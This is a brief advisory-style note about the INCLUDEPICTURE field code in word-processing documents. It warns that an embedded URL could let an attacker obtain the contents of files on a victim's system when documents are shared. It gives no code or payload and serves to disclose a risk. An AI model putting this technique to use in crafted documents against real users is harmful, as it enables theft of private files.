The INCLUDEPICTURE Field Code may be used to insert arbitrary URLs into a document. The INCLUDEPICTURE Field Code is reported to, under some circumstances, present a security threat.
If the INCLUDEPICTURE Field Code is included in a document and references a URL, it may be possible for the attacker to obtain contents of files on the victim user's system. It is possible for an attacker to abuse this functionality in a situation where documents are constantly being shared and updated.
